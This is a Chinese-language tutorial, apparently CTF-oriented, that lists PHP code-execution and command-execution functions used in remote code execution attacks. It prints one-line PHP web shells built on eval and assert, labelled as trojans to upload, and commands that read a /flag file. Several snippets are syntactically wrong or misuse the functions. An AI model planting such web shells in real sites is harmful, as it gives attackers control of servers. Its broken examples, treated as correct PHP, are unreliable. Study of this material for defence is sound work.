RCE漏洞概述
RCE(Remote Code Execution)漏洞,即远程代码执行漏洞,攻击者可借助此漏洞向后台服务器远程注入操作系统命令或代码,进而掌控后台系统,对系统安全构成严重威胁。
代码执行函数
代码执行是指通过特定方式(如函数、调用方法等)来执行写入的任意代码,以下是常见的代码执行函数。
1. eval()
传入的参数必须是PHP代码,需要分号结尾。
上传木马 <?php @eval($_POST['a']);?>
2. assert()
assert函数直接将传入的参数当作PHP代码执行,所以不需要分号结尾。
上传木马 <?php @assert($_POST['a'])?>
3. preg_replace()
不需要分号结尾。当正则规则中使用/e修饰符时,存在代码执行漏洞。
格式:preg_replace('正则规则','替换字符','目标字符');
pre_replace('/.*/e',$_POST["a"],'a');
正则匹配a,将a替换为$_POST["a"] ,从而实现木马上传。
4. create_function()
用于创建匿名函数以执行代码。执行命令和上传文件参考eval函数,结尾必须加分号。
<?php
$func = create_function('',$_POST['a']);
$func();
?>
5. call_user_func()
调用指定的函数并传递参数来执行代码。
call_user_func('echo',$flag); //通过调用echo,执行代码
此函数还支持用户自定义的函数。
6. array_map()
对数组的每个元素执行回调函数,其第一个参数为回调函数,可实现代码执行,也支持自定义函数。
array_map(var_dump($flag));
7. call_user_func_array()
与call_user_func类似,但参数传递更为灵活,将传入的参数作为数组的第一个值传给回调函数。
call_user_func_array(var_dump($flag));
8. usort()
使用用户自定义的比较函数对数组中的值进行排序,可用于命令执行。
usort(var_dump($flag));
9. array_filter()
使用回调过滤数组元素,可调用回调函数。
array_filter(var_dump($flag));
10. array_reduce()
使用回调函数对数组元素进行规约。
array_reduce(var_dump($flag));
命令执行函数
命令执行是指在操作系统层面上执行预定义的指令或脚本,如Windows的cmd命令和Linux的shell命令,可通过一些函数或方法调用,以下是常见的命令执行函数
1. system()
将字符串作为os命令执行,自带输出功能。
system(cat /flag);
2. passthru()
执行命令并自带输出功能。
passthru(cat /flag);
3. shell_exec()
执行,需要使用echo才能显示执行结果。
echo shell_exec(cat /flag);
4. exec()
执行命令,执行结果以数组形式保存,需要使用echo显示结果。
echo exec(cat /flag);
5. popen()/proc_open()
将字符串作为命令执行,返回的是文件指针而非执行结果,函数有两个参数。
<?php
$cmd = $_POST['cmd'].">> 1.txt";
//此时的$cmd=cat /flag >> 1.txt
popen("$cmd",'r'); //实际上就是 popen("cat /flag >> 1.txt", "r"),把执行结果放入1.txt文件,通过访问1.txt文件查看执行结果。
?>
6. 反引号 ``
反引号里面的代码会被当作os命令执行。
echo `cat /flag`;
作者:晨星安全团队--SD9ard3n